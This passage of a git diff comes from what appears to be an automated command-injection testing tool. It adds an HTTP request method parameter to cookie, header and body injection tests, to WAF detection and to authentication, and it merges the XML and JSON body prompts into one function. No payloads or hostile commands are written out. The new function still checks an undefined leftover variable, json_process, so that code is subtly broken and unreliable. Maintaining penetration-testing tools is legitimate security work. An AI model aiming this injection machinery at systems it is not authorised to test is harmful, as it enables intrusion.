vuln_parameter, payload, http_request_method) """ Check if target host is vulnerable. (Custom header injection) """ -def custom_header_injection_test(url, vuln_parameter, payload): - return requests.custom_header_injection(url, vuln_parameter, payload) +def custom_header_injection_test(url, vuln_parameter, payload, http_request_method): + return requests.custom_header_injection(url, vuln_parameter, payload, http_request_method) """ The main command injection exploitation. @@ -213,23 +213,23 @@ def injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, # Check if defined cookie with "INJECT_HERE" tag if menu.options.cookie and settings.INJECT_TAG in menu.options.cookie: - how_long = cookie_injection_test(url, vuln_parameter, payload) + how_long = cookie_injection_test(url, vuln_parameter, payload, http_request_method) # Check if defined user-agent with "INJECT_HERE" tag elif menu.options.agent and settings.INJECT_TAG in menu.options.agent: - how_long = user_agent_injection_test(url, vuln_parameter, payload) + how_long = user_agent_injection_test(url, vuln_parameter, payload, http_request_method) # Check if defined referer with "INJECT_HERE" tag elif menu.options.referer and settings.INJECT_TAG in menu.options.referer: - how_long = referer_injection_test(url, vuln_parameter, payload) + how_long = referer_injection_test(url, vuln_parameter, payload, http_request_method) # Check if defined host with "INJECT_HERE" tag elif menu.options.host and settings.INJECT_TAG in menu.options.host: - how_long = host_injection_test(url, vuln_parameter, payload) + how_long = host_injection_test(url, vuln_parameter, payload, http_request_method) # Check if defined custom header with "INJECT_HERE" tag elif settings.CUSTOM_HEADER_INJECTION: - how_long = custom_header_injection_test(url, vuln_parameter, payload) + how_long = custom_header_injection_test(url, vuln_parameter, payload, http_request_method) else: how_long = examine_requests(payload, vuln_parameter, http_request_method, url, timesec, url_time_response) @@ -295,23 +295,23 @@ def injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, # Check if defined cookie with "INJECT_HERE" tag if menu.options.cookie and settings.INJECT_TAG in menu.options.cookie: - how_long = cookie_injection_test(url, vuln_parameter, payload) + how_long = cookie_injection_test(url, vuln_parameter, payload, http_request_method) # Check if defined user-agent with "INJECT_HERE" tag elif menu.options.agent and settings.INJECT_TAG in menu.options.agent: - how_long = user_agent_injection_test(url, vuln_parameter, payload) + how_long = user_agent_injection_test(url, vuln_parameter, payload, http_request_method) # Check if defined referer with "INJECT_HERE" tag elif menu.options.referer and settings.INJECT_TAG in menu.options.referer: - how_long = referer_injection_test(url, vuln_parameter, payload) + how_long = referer_injection_test(url, vuln_parameter, payload, http_request_method) # Check if defined host with "INJECT_HERE" tag elif menu.options.host and settings.INJECT_TAG in menu.options.host: - how_long = host_injection_test(url, vuln_parameter, payload) + how_long = host_injection_test(url, vuln_parameter, payload, http_request_method) # Check if defined custom header with "INJECT_HERE" tag elif settings.CUSTOM_HEADER_INJECTION: - how_long = custom_header_injection_test(url, vuln_parameter, payload) + how_long = custom_header_injection_test(url, vuln_parameter, payload, http_request_method) else: how_long = examine_requests(payload, vuln_parameter, http_request_method, url, timesec, url_time_response) @@ -402,23 +402,23 @@ def false_positive_check(separator, TAG, cmd, whitespace, prefix, suffix, timese # Check if defined cookie with "INJECT_HERE" tag if menu.options.cookie and settings.INJECT_TAG in menu.options.cookie: - how_long = cookie_injection_test(url, vuln_parameter, payload) + how_long = cookie_injection_test(url, vuln_parameter, payload, http_request_method) # Check if defined user-agent with "INJECT_HERE" tag elif menu.options.agent and settings.INJECT_TAG in menu.options.agent: - how_long = user_agent_injection_test(url, vuln_parameter, payload) + how_long = user_agent_injection_test(url, vuln_parameter, payload, http_request_method) # Check if defined referer with "INJECT_HERE" tag elif menu.options.referer and settings.INJECT_TAG in menu.options.referer: - how_long = referer_injection_test(url, vuln_parameter, payload) + how_long = referer_injection_test(url, vuln_parameter, payload, http_request_method) # Check if defined host with "INJECT_HERE" tag elif menu.options.host and settings.INJECT_TAG in menu.options.host: - how_long = host_injection_test(url, vuln_parameter, payload) + how_long = host_injection_test(url, vuln_parameter, payload, http_request_method) # Check if defined custom header with "INJECT_HERE" tag elif settings.CUSTOM_HEADER_INJECTION: - how_long = custom_header_injection_test(url, vuln_parameter, payload) + how_long = custom_header_injection_test(url, vuln_parameter, payload, http_request_method) else: how_long = examine_requests(payload, vuln_parameter, http_request_method, url, timesec, url_time_response) @@ -468,23 +468,23 @@ def false_positive_check(separator, TAG, cmd, whitespace, prefix, suffix, timese # Check if defined cookie with "INJECT_HERE" tag if menu.options.cookie and settings.INJECT_TAG in menu.options.cookie: - how_long = cookie_injection_test(url, vuln_parameter, payload) + how_long = cookie_injection_test(url, vuln_parameter, payload, http_request_method) # Check if defined user-agent with "INJECT_HERE" tag elif menu.options.agent and settings.INJECT_TAG in menu.options.agent: - how_long = user_agent_injection_test(url, vuln_parameter, payload) + how_long = user_agent_injection_test(url, vuln_parameter, payload, http_request_method) # Check if defined referer with "INJECT_HERE" tag elif menu.options.referer and settings.INJECT_TAG in menu.options.referer: - how_long = referer_injection_test(url, vuln_parameter, payload) + how_long = referer_injection_test(url, vuln_parameter, payload, http_request_method) # Check if defined host with "INJECT_HERE" tag elif menu.options.host and settings.INJECT_TAG in menu.options.host: - how_long = host_injection_test(url, vuln_parameter, payload) + how_long = host_injection_test(url, vuln_parameter, payload, http_request_method) # Check if defined custom header with "INJECT_HERE" tag elif settings.CUSTOM_HEADER_INJECTION: - how_long = custom_header_injection_test(url, vuln_parameter, payload) + how_long = custom_header_injection_test(url, vuln_parameter, payload, http_request_method) else: how_long = examine_requests(payload, vuln_parameter, http_request_method, url, timesec, url_time_response) diff --git a/src/core/injections/controller/checks.py b/src/core/injections/controller/checks.py index e07e28a83b..821547cc68 100755 --- a/src/core/injections/controller/checks.py +++ b/src/core/injections/controller/checks.py @@ -64,7 +64,7 @@ def exit(): """ Detection of WAF/IPS protection. """ -def check_waf(url): +def check_waf(url, http_request_method): payload = _urllib.parse.quote(settings.WAF_CHECK_PAYLOAD) info_msg = "Checking if the target is protected by some kind of WAF/IPS." print(settings.print_info_msg(info_msg)) @@ -77,9 +77,9 @@ def check_waf(url): payload = settings.PARAMETER_DELIMITER + payload url = url + payload if len(settings.USER_DEFINED_POST_DATA) != 0: - request = _urllib.request.Request(url, settings.USER_DEFINED_POST_DATA.encode()) + request = _urllib.request.Request(url, settings.USER_DEFINED_POST_DATA.encode(), method=http_request_method) else: - request = _urllib.request.Request(url) + request = _urllib.request.Request(url, method=http_request_method) return request, url """ @@ -1773,24 +1773,6 @@ def is_XML_check(parameter): except ValueError as err_msg: return False -# Process with SOAP/XML data -def process_xml_data(): - while True: - info_msg = "SOAP/XML data found in POST data." - message = info_msg - message += " Do you want to process it? [Y/n] > " - xml_process = common.read_input(message, default="Y", check_batch=True) - if xml_process in settings.CHOICE_YES: - return True - elif xml_process in settings.CHOICE_NO: - settings.IGNORE_USER_DEFINED_POST_DATA = True - return False - elif xml_process in settings.CHOICE_QUIT: - raise SystemExit() - else: - common.invalid_option(xml_process) - pass - #Check if INJECT_TAG is enclosed in quotes (in json data) def check_quotes_json_data(data): if not json.dumps(settings.INJECT_TAG) in data: @@ -1814,15 +1796,15 @@ def is_JSON_check(parameter): return False # Process with JSON data -def process_json_data(): +def process_data(data_type, http_request_method): while True: - info_msg = "JSON data found in POST data." + info_msg = str(data_type) + " data found in " + str(http_request_method) + " body." message = info_msg message += " Do you want to process it? [Y/n] > " - json_process = common.read_input(message, default="Y", check_batch=True) - if json_process in settings.CHOICE_YES: + process = common.read_input(message, default="Y", check_batch=True) + if process in settings.CHOICE_YES: return True - elif json_process in settings.CHOICE_NO: + elif process in settings.CHOICE_NO: settings.IGNORE_USER_DEFINED_POST_DATA = True return False elif json_process in settings.CHOICE_QUIT: diff --git a/src/core/injections/controller/controller.py b/src/core/injections/controller/controller.py index 8d738c5904..558c3b4d15 100644 --- a/src/core/injections/controller/controller.py +++ b/src/core/injections/controller/controller.py @@ -112,7 +112,7 @@ def command_injection_heuristic_basic(url, http_request_method, check_parameter, else: if settings.INJECT_TAG in url: tmp_url = url.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, payload) - request = _urllib.request.Request(tmp_url, data) + request = _urllib.request.Request(tmp_url, data, method=http_request_method) if cookie: request.add_header(settings.COOKIE, cookie) if inject_http_headers: @@ -173,7 +173,7 @@ def code_injections_heuristic_basic(url, http_request_method, check_parameter, t else: if settings.INJECT_TAG in url: tmp_url = url.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, payload) - request = _urllib.request.Request(tmp_url, data) + request = _urllib.request.Request(tmp_url, data, method=http_request_method) if cookie: request.add_header(settings.COOKIE, cookie) if inject_http_headers: @@ -273,8 +273,9 @@ def injection_proccess(url, check_parameter, http_request_method, filename, time basic_level_checks() inject_http_headers = False - - if check_parameter.lower() in url : + if menu.options.method: + http_request_method = menu.options.method + elif check_parameter.lower() in url : http_request_method = settings.HTTPMETHOD.GET elif check_parameter.lower() not in menu.options.data: http_request_method = settings.HTTPMETHOD.POST @@ -300,7 +301,7 @@ def injection_proccess(url, check_parameter, http_request_method, filename, time check_parameter = " '" + check_parameter + "'" # Estimating the response time (in seconds) - timesec, url_time_response = requests.estimate_response_time(url, timesec) + timesec, url_time_response = requests.estimate_response_time(url, timesec, http_request_method) # Load modules modules_handler.load_modules(url, http_request_method, filename) @@ -657,7 +658,7 @@ def perform_checks(url, http_request_method, filename): # Check if authentication is needed. if menu.options.auth_url and menu.options.auth_data: # Do the authentication process. - authentication.authentication_process() + authentication.authentication_process(http_request_method) try: # Check if authentication page is the same with the next (injection) URL if _urllib.request.urlopen(url, timeout=settings.TIMEOUT).read() == _urllib.request.urlopen(menu.options.auth_url, timeout=settings.TIMEOUT).read(): diff --git a/src/core/injections/results_based/techniques/classic/cb_handler.py b/src/core/injections/results_based/techniques/classic/cb_handler.py index 3a4e2e3bf2..39665882eb 100755 --- a/src/core/injections/results_based/techniques/classic/cb_handler.py +++ b/src/core/injections/results_based/techniques/classic/cb_handler.py @@ -133,31 +133,31 @@ def cb_injection_handler(url, timesec, filename, http_request_method, injection_ if settings.COOKIE_INJECTION == True: # Check if target host is vulnerable to cookie header injection. vuln_parameter = parameters.specify_cookie_parameter(menu.options.cookie) - response = cb_injector.cookie_injection_test(url, vuln_parameter, payload) + response = cb_injector.cookie_injection_test(url, vuln_parameter, payload, http_request_method) # User-Agent HTTP header injection elif settings.USER_AGENT_INJECTION == True: # Check if target host is vulnerable to user-agent HTTP header injection. vuln_parameter = parameters.specify_user_agent_parameter(menu.options.agent) - response = cb_injector.user_agent_injection_test(url, vuln_parameter, payload) + response = cb_injector.user_agent_injection_test(url, vuln_parameter, payload, http_request_method) # Referer HTTP header injection elif settings.REFERER_INJECTION == True: # Check if target host is vulnerable to referer HTTP header injection. vuln_parameter = parameters.specify_referer_parameter(menu.options.referer) - response = cb_injector.referer_injection_test(url, vuln_parameter, payload) + response = cb_injector.referer_injection_test(url, vuln_parameter, payload, http_request_method) # Host HTTP header injection elif settings.HOST_INJECTION == True: # Check if target host is vulnerable to host HTTP header injection. vuln_parameter = parameters.specify_host_parameter(menu.options.host) - response = cb_injector.host_injection_test(url, vuln_parameter, payload) + response = cb_injector.host_injection_test(url, vuln_parameter, payload, http_request_method) # Custom HTTP header Injection elif settings.CUSTOM_HEADER_INJECTION == True: # Check if target host is vulnerable to custom http header injection. vuln_parameter = parameters.specify_custom_header_parameter(settings.INJECT_TAG) - response = cb_injector.custom_header_injection_test(url, vuln_parameter, payload) + response = cb_injector.custom_header_injection_test(url, vuln_parameter, payload, http_request_method) else: # Check if target host is vulnerable. diff --git a/src/core/injections/results_based/techniques/classic/cb_injector.py b/src/core/injections/results_based/techniques/classic/cb_injector.py index 409025669f..598a672c70 100755 --- a/src/core/injections/results_based/techniques/classic/cb_injector.py +++ b/src/core/injections/results_based/techniques/classic/cb_injector.py @@ -53,9 +53,9 @@ def injection_test(payload, http_request_method, url): vuln_parameter = parameters.vuln_GET_param(url) target = url.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, payload) if len(settings.USER_DEFINED_POST_DATA) != 0: - request = _urllib.request.Request(target, settings.USER_DEFINED_POST_DATA.encode(settings.DEFAULT_CODEC)) + request = _urllib.request.Request(target, settings.USER_DEFINED_POST_DATA.encode(settings.DEFAULT_CODEC), method=http_request_method) else: - request = _urllib.request.Request(target) + request = _urllib.request.Request(target, method=http_request_method) # Check if defined extra headers. headers.do_check(request) @@ -81,7 +81,7 @@ def injection_test(payload, http_request_method, url): data = parameter.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, _urllib.parse.unquote(payload)) else: data = parameter.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, payload) - request = _urllib.request.Request(url, data.encode(settings.DEFAULT_CODEC)) + request = _urllib.request.Request(url, data.encode(settings.DEFAULT_CODEC), method=http_request_method) # Check if defined extra headers. headers.do_check(request) @@ -121,32 +121,32 @@ def injection_test_results(response, TAG, randvcalc): """ Check if target host is vulnerable. (Cookie-based injection) """ -def cookie_injection_test(url, vuln_parameter, payload): - return requests.cookie_injection(url, vuln_parameter, payload) +def cookie_injection_test(url, vuln_parameter, payload, http_request_method): + return requests.cookie_injection(url, vuln_parameter, payload, http_request_method) """ Check if target host is vulnerable. (User-Agent-based injection) """ -def user_agent_injection_test(url, vuln_parameter, payload): - return requests.user_agent_injection(url, vuln_parameter, payload) +def user_agent_injection_test(url, vuln_parameter, payload, http_request_method): + return requests.user_agent_injection(url, vuln_parameter, payload, http_request_method) """ Check if target host is vulnerable. (Referer-based injection) """ -def referer_injection_test(url, vuln_parameter, payload): - return requests.referer_injection(url, vuln_parameter, payload) +def referer_injection_test(url, vuln_parameter, payload, http_request_method): + return requests.referer_injection(url, vuln_parameter, payload, http_request_method) """ Check if target host is vulnerable. (Host-based injection) """ -def host_injection_test(url, vuln_parameter, payload): - return requests.host_injection(url, vuln_parameter, payload) +def host_injection_test(url, vuln_parameter, payload, http_request_method): + return requests.host_injection(url, vuln_parameter, payload, http_request_method) """ Check if target host is vulnerable. (Custom header injection) """ -def custom_header_injection_test(url, vuln_parameter, payload): - return requests.custom_header_injection(url, vuln_parameter, payload) +def custom_header_injection_test(url, vuln_parameter, payload, http_request_method): + return requests.custom_header_injection(url, vuln_parameter, payload, http_request_method) """ The main command injection exploitation. @@ -180,23 +180,23 @@ def check_injection(separator, TAG, cmd, prefix, suffix, whitespace, http_reques # Check if defined cookie with "INJECT_HERE" tag if menu.options.cookie and settings.INJECT_TAG in menu.options.cookie: - response = cookie_injection_test(url, vuln_parameter, payload) + response = cookie_injection_test(url, vuln_parameter, payload, http_request_method) # Check if defined user-agent with "INJECT_HERE" tag elif menu.options.agent and settings.INJECT_TAG in menu.options.agent: - response = user_agent_injection_test(url, vuln_parameter, payload) + response = user_agent_injection_test(url, vuln_parameter, payload, http_request_method) # Check if defined referer with "INJECT_HERE" tag elif menu.options.referer and settings.INJECT_TAG in menu.options.referer: - response = referer_injection_test(url, vuln_parameter, payload) + response = referer_injection_test(url, vuln_parameter, payload, http_request_method) # Check if defined host with "INJECT_HERE" tag elif menu.options.host and settings.INJECT_TAG in menu.options.host: - response = host_injection_test(url, vuln_parameter, payload) + response = host_injection_test(url, vuln_parameter, payload, http_request_method) # Check if defined custom header with "INJECT_HERE" tag elif settings.CUSTOM_HEADER_INJECTION: - response = custom_header_injection_test(url, vuln_parameter, payload) + response = custom_header_injection_test(url, vuln_parameter, payload, http_request_method) else: # Check if defined POST data @@ -207,9 +207,9 @@ def check_injection(separator, TAG, cmd, prefix, suffix, whitespace, http_reques target = url.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, payload) vuln_parameter = ''.join(vuln_parameter) if len(settings.USER_DEFINED_POST_DATA) != 0: - request = _urllib.request.Request(target, settings.USER_DEFINED_POST_DATA.encode(settings.DEFAULT_CODEC)) + request = _urllib.request.Request(target, settings.USER_DEFINED_POST_DATA.encode(settings.DEFAULT_CODEC), method=http_request_method) else: - request = _urllib.request.Request(target) + request = _urllib.request.Request(target, method=http_request_method) # Check if defined extra headers. headers.do_check(request) @@ -235,7 +235,7 @@ def check_injection(separator, TAG, cmd, prefix, suffix, whitespace, http_reques data = parameter.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, _urllib.parse.unquote(payload)) else: data = parameter.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, payload) - request = _urllib.request.Request(url, data.encode(settings.DEFAULT_CODEC)) + request = _urllib.request.Request(url, data.encode(settings.DEFAULT_CODEC), method=http_request_method) # Check if defined extra headers. headers.do_check(request) diff --git a/src/core/injections/results_based/techniques/eval_based/eb_handler.py b/src/core/injections/results_based/techniques/eval_based/eb_handler.py index efa2c4ea5b..092135920f 100755 --- a/src/core/injections/results_based/techniques/eval_based/eb_handler.py +++ b/src/core/injections/results_based/techniques/eval_based/eb_handler.py @@ -145,31 +145,31 @@ def eb_injection_handler(url, timesec, filename, http_request_method, injection_ if settings.COOKIE_INJECTION == True: # Check if target host is vulnerable to cookie header injection. vuln_parameter = parameters.specify_cookie_parameter(menu.options.cookie) - response = eb_injector.cookie_injection_test(url, vuln_parameter, payload) + response = eb_injector.cookie_injection_test(url, vuln_parameter, payload, http_request_method) # User-Agent HTTP header injection elif settings.USER_AGENT_INJECTION == True: # Check if target host is vulnerable to user-agent HTTP header injection. vuln_parameter = parameters.specify_user_agent_parameter(menu.options.agent) - response = eb_injector.user_agent_injection_test(url, vuln_parameter, payload) + response = eb_injector.user_agent_injection_test(url, vuln_parameter, payload, http_request_method) # Referer HTTP header injection elif settings.REFERER_INJECTION == True: # Check if target host is vulnerable to referer HTTP header injection. vuln_parameter = parameters.specify_referer_parameter(menu.options.referer) - response = eb_injector.referer_injection_test(url, vuln_parameter, payload) + response = eb_injector.referer_injection_test(url, vuln_parameter, payload, http_request_method) # Host HTTP header injection elif settings.HOST_INJECTION == True: # Check if target host is vulnerable to host HTTP header injection. vuln_parameter = parameters.specify_host_parameter(menu.options.host) - response = eb_injector.host_injection_test(url, vuln_parameter, payload) + response = eb_injector.host_injection_test(url, vuln_parameter, payload, http_request_method) # Custom HTTP header injection elif settings.CUSTOM_HEADER_INJECTION == True: # Check if target host is vulnerable to custom HTTP header injection. vuln_parameter = parameters.specify_custom_header_parameter(settings.INJECT_TAG) - response = eb_injector.custom_header_injection_test(url, vuln_parameter, payload) + response = eb_injector.custom_header_injection_test(url, vuln_parameter, payload, http_request_method) else: found_cookie_injection = False diff --git a/src/core/injections/results_based/techniques/eval_based/eb_injector.py b/src/core/injections/results_based/techniques/eval_based/eb_injector.py index 1d00fe19a5..ae5bde5709 100755 --- a/src/core/injections/results_based/techniques/eval_based/eb_injector.py +++ b/src/core/injections/results_based/techniques/eval_based/eb_injector.py @@ -48,9 +48,9 @@ def injection_test(payload, http_request_method, url): vuln_parameter = parameters.vuln_GET_param(url) target = url.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, payload) if len(settings.USER_DEFINED_POST_DATA) != 0: - request = _urllib.request.Request(target, settings.USER_DEFINED_POST_DATA.encode(settings.DEFAULT_CODEC)) + request = _urllib.request.Request(target, settings.USER_DEFINED_POST_DATA.encode(settings.DEFAULT_CODEC), method=http_request_method) else: - request = _urllib.request.Request(target) + request = _urllib.request.Request(target, method=http_request_method) # Check if defined extra headers. headers.do_check(request) @@ -76,7 +76,7 @@ def injection_test(payload, http_request_method, url): data = parameter.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, _urllib.parse.unquote(payload)) else: data = parameter.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, payload) - request = _urllib.request.Request(url, data.encode(settings.DEFAULT_CODEC)) + request = _urllib.request.Request(url, data.encode(settings.DEFAULT_CODEC), method=http_request_method) # Check if defined extra headers. headers.do_check(request) @@ -107,32 +107,32 @@ def injection_test_results(response, TAG, randvcalc): """ Check if target host is vulnerable. (Cookie-based injection) """ -def cookie_injection_test(url, vuln_parameter, payload): - return requests.cookie_injection(url, vuln_parameter, payload) +def cookie_injection_test(url, vuln_parameter, payload, http_request_method): + return requests.cookie_injection(url, vuln_parameter, payload, http_request_method) """ Check if target host is vulnerable. (User-Agent-based injection) """ -def user_agent_injection_test(url, vuln_parameter, payload): - return requests.user_agent_injection(url, vuln_parameter, payload) +def user_agent_injection_test(url, vuln_parameter, payload, http_request_method): + return requests.user_agent_injection(url, vuln_parameter, payload, http_request_method) """ Check if target host is vulnerable. (Referer-based injection) """ -def referer_injection_test(url, vuln_parameter, payload): - return requests.referer_injection(url, vuln_parameter, payload) +def referer_injection_test(url, vuln_parameter, payload, http_request_method): + return requests.referer_injection(url, vuln_parameter, payload, http_request_method) """ Check if target host is vulnerable. (Host-based injection) """ -def host_injection_test(url, vuln_parameter, payload): - return requests.host_injection(url, vuln_parameter, payload) +def host_injection_test(url, vuln_parameter, payload, http_request_method): + return requests.host_injection(url, vuln_parameter, payload, http_request_method) """ Check if target host is vulnerable. (Custom header injection) """ -def custom_header_injection_test(url, vuln_parameter, payload): - return requests.custom_header_injection(url, vuln_parameter, payload) +def custom_header_injection_test(url, vuln_parameter, payload, http_request_method): + return requests.custom_header_injection(url, vuln_parameter, payload, http_request_method) """ The main command injection exploitation. @@ -168,23 +168,23 @@ def check_injection(separator, TAG, cmd, prefix, suffix, whitespace, http_reques # Check if defined cookie with "INJECT_HERE" tag if menu.options.cookie and settings.INJECT_TAG in menu.options.cookie: - response = cookie_injection_test(url, vuln_parameter, payload) + response = cookie_injection_test(url, vuln_parameter, payload, http_request_method) # Check if defined user-agent with "INJECT_HERE" tag elif menu.options.agent and settings.INJECT_TAG in menu.options.agent: - response = user_agent_injection_test(url, vuln_parameter, payload) + response = user_agent_injection_test(url, vuln_parameter, payload, http_request_method) # Check if defined referer with "INJECT_HERE" tag elif menu.options.referer and settings.INJECT_TAG in menu.options.referer: - response = referer_injection_test(url, vuln_parameter, payload) + response = referer_injection_test(url, vuln_parameter, payload, http_request_method) # Check if defined host with "INJECT_HERE" tag elif menu.options.host and settings.INJECT_TAG in menu.options.host: - response = host_injection_test(url, vuln_parameter, payload) + response = host_injection_test(url, vuln_parameter, payload, http_request_method) # Check if defined custom header with "INJECT_HERE" tag elif settings.CUSTOM_HEADER_INJECTION: - response = custom_header_injection_test(url, vuln_parameter, payload) + response = custom_header_injection_test(url, vuln_parameter, payload, http_request_method) else: # Check if defined POST data @@ -195,9 +195,9 @@ def check_injection(separator, TAG, cmd, prefix, suffix, whitespace, http_reques target = url.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, payload) vuln_parameter = ''.join(vuln_parameter) if len(settings.USER_DEFINED_POST_DATA) != 0: - request = _urllib.request.Request(target, settings.USER_DEFINED_POST_DATA.encode(settings.DEFAULT_CODEC)) + request = _urllib.request.Request(target, settings.USER_DEFINED_POST_DATA.encode(settings.DEFAULT_CODEC), method=http_request_method) else: - request = _urllib.request.Request(target) + request = _urllib.request.Request(target, method=http_request_method) # Check if defined extra headers. headers.do_check(request) @@ -223,7 +223,7 @@ def check_injection(separator, TAG, cmd, prefix, suffix, whitespace, http_reques data = parameter.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, _urllib.parse.unquote(payload)) else: data = parameter.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, payload) - request = _urllib.request.Request(url, data.encode(settings.DEFAULT_CODEC)) + request = _urllib.request.Request(url, data.encode(settings.DEFAULT_CODEC), method=http_request_method) # Check if defined extra headers. headers.do_check(request) diff --git a/src/core/injections/semiblind/techniques/file_based/fb_handler.py b/src/core/injections/semiblind/techniques/file_based/fb_handler.py index d6fae91369..c47b871333 100755 --- a/src/core/injections/semiblind/techniques/file_based/fb_handler.py +++ b/src/core/injections/semiblind/techniques/file_based/fb_handler.py @@ -293,31 +293,31 @@ def fb_injection_handler(url, timesec, filename, http_request_method, url_time_r if settings.COOKIE_INJECTION == True: # Check if target host is vulnerable to cookie header injection. vuln_parameter = parameters.specify_cookie_parameter(menu.options.cookie) - response = fb_injector.cookie_injection_test(url, vuln_parameter, payload) + response = fb_injector.cookie_injection_test(url, vuln_parameter, payload, http_request_method) # User-Agent HTTP Header Injection elif settings.USER_AGENT_INJECTION == True: # Check if target host is vulnerable to user-agent HTTP header injection. vuln_parameter = parameters.specify_user_agent_parameter(menu.options.agent) - response = fb_injector.user_agent_injection_test(url, vuln_parameter, payload) + response = fb_injector.user_agent_injection_test(url, vuln_parameter, payload, http_request_method) # Referer HTTP Header Injection elif settings.REFERER_INJECTION == True: # Check if target host is vulnerable to Referer HTTP header injection. vuln_parameter = parameters.specify_referer_parameter(menu.options.referer) - response = fb_injector.referer_injection_test(url, vuln_parameter, payload) + response = fb_injector.referer_injection_test(url, vuln_parameter, payload, http_request_method) # Host HTTP Header Injection elif settings.HOST_INJECTION == True: # Check if target host is vulnerable to Host HTTP header injection. vuln_parameter = parameters.specify_host_parameter(menu.options.host) - response = fb_injector.host_injection_test(url, vuln_parameter, payload) + response = fb_injector.host_injection_test(url, vuln_parameter, payload, http_request_method) # Custom HTTP header Injection elif settings.CUSTOM_HEADER_INJECTION == True: # Check if target host is vulnerable to custom HTTP header injection. vuln_parameter = parameters.specify_custom_header_parameter(settings.INJECT_TAG) - response = fb_injector.custom_header_injection_test(url, vuln_parameter, payload) + response = fb_injector.custom_header_injection_test(url, vuln_parameter, payload, http_request_method) else: # Check if target host is vulnerable. diff --git a/src/core/injections/semiblind/techniques/file_based/fb_injector.py b/src/core/injections/semiblind/techniques/file_based/fb_injector.py index 1acf02503d..b1f0ade8cf 100755 --- a/src/core/injections/semiblind/techniques/file_based/fb_injector.py +++ b/src/core/injections/semiblind/techniques/file_based/fb_injector.py @@ -56,9 +56,9 @@ def injection_test(payload, http_request_method, url): target = url.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, payload) if len(settings.USER_DEFINED_POST_DATA) != 0: - request = _urllib.request.Request(target, settings.USER_DEFINED_POST_DATA.encode(settings.DEFAULT_CODEC)) + request = _urllib.request.Request(target, settings.USER_DEFINED_POST_DATA.encode(settings.DEFAULT_CODEC), method=http_request_method) else: - request = _urllib.request.Request(target) + request = _urllib.request.Request(target, method=http_request_method) # Check if defined extra headers. headers.do_check(request) @@ -87,7 +87,7 @@ def injection_test(payload, http_request_method, url): data = parameter.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, _urllib.parse.unquote(payload)) else: data = parameter.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, payload) - request = _urllib.request.Request(url, data.encode(settings.DEFAULT_CODEC)) + request = _urllib.request.Request(url, data.encode(settings.DEFAULT_CODEC), method=http_request_method) # Check if defined extra headers. headers.do_check(request) @@ -106,32 +106,32 @@ def injection_test(payload, http_request_method, url): """ Check if target host is vulnerable. (Cookie-based injection) """ -def cookie_injection_test(url, vuln_parameter, payload): - return requests.cookie_injection(url, vuln_parameter, payload) +def cookie_injection_test(url, vuln_parameter, payload, http_request_method): + return requests.cookie_injection(url, vuln_parameter, payload, http_request_method) """ Check if target host is vulnerable. (User-Agent-based injection) """ -def user_agent_injection_test(url, vuln_parameter, payload): - return requests.user_agent_injection(url, vuln_parameter, payload) +def user_agent_injection_test(url, vuln_parameter, payload, http_request_method): + return requests.user_agent_injection(url, vuln_parameter, payload, http_request_method) """ Check if target host is vulnerable. (Referer-based injection) """ -def referer_injection_test(url, vuln_parameter, payload): - return requests.referer_injection(url, vuln_parameter, payload) +def referer_injection_test(url, vuln_parameter, payload, http_request_method): + return requests.referer_injection(url, vuln_parameter, payload, http_request_method) """ Check if target host is vulnerable. (Host-based injection) """ -def host_injection_test(url, vuln_parameter, payload): - return requests.host_injection(url, vuln_parameter, payload) +def host_injection_test(url, vuln_parameter, payload, http_request_method): + return requests.host_injection(url, vuln_parameter, payload, http_request_method) """ Check if target host is vulnerable. (Custom header injection) """ -def custom_header_injection_test(url, vuln_parameter, payload): - return requests.custom_header_injection(url, vuln_parameter, payload) +def custom_header_injection_test(url, vuln_parameter, payload, http_request_method): + return requests.custom_header_injection(url, vuln_parameter, payload, http_request_method) """ The main command injection exploitation. @@ -172,23 +172,23 @@ def check_injection(separator, payload, TAG, cmd, prefix, suffix, whitespace, ht # Check if defined cookie with "INJECT_HERE" tag if menu.options.cookie and settings.INJECT_TAG in menu.options.cookie: - response = cookie_injection_test(url, vuln_parameter, payload) + response = cookie_injection_test(url, vuln_parameter, payload, http_request_method) # Check if defined user-agent with "INJECT_HERE" tag elif menu.options.agent and settings.INJECT_TAG in menu.options.agent: - response = user_agent_injection_test(url, vuln_parameter, payload) + response = user_agent_injection_test(url, vuln_parameter, payload, http_request_method) # Check if defined referer with "INJECT_HERE" tag elif menu.options.referer and settings.INJECT_TAG in menu.options.referer: - response = referer_injection_test(url, vuln_parameter, payload) + response = referer_injection_test(url, vuln_parameter, payload, http_request_method) # Check if defined host with "INJECT_HERE" tag elif menu.options.host and settings.INJECT_TAG in menu.options.host: - response = host_injection_test(url, vuln_parameter, payload) + response = host_injection_test(url, vuln_parameter, payload, 